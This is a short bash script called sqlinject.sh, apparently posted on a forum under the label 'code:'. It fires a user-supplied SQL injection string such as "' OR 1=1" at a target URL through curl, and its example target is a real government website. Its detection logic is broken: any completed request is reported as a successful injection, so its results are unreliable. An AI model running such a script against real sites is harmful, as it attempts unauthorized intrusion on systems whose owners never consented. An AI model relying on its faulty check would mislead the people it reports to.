کد:
#!/bin/bash function banner() { echo " Developer: E1.CODERS Version: 1.0 " } function usage() { echo " Usage: ./sqlinject.sh [options] Options: -h, --help Show this help and exit -u, --url URL of the target website (Example: https://www.whitehouse.gov/) -e, --exploit Exploit string to use for testing (Example: \"\ OR 1=1) " } function validate_options() { if [ -z "$URL" ] || [ -z "$EXPLOIT" ]; then echo "Please provide a valid URL and an exploit string." exit 1 fi } function run_sql_inject_test() { banner # Run the test using curl echo "Running SQL Injection Test on $URL with the exploit string $EXPLOIT" curl -s -X GET "$URL?page=$EXPLOIT" >/dev/null 2>&1 # Check if the command was successful or not if [ $? -eq 0 ]; then echo "Test Failed: The SQL Injection test succeeded on $URL using the exploit string $EXPLOIT" else echo "Test Passed: The SQL Injection test failed on $URL using the exploit string $EXPLOIT" fi } # Parse command line arguments while [ "$1" != "" ]; do case $1 in -h | --help) usage exit 0 ;; -u | --url) shift URL=$1 ;; -e | --exploit) shift EXPLOIT=$1 ;; *) echo "Unexpected argument: $1" usage exit 1 ;; esac shift done validate_options run_sql_inject_test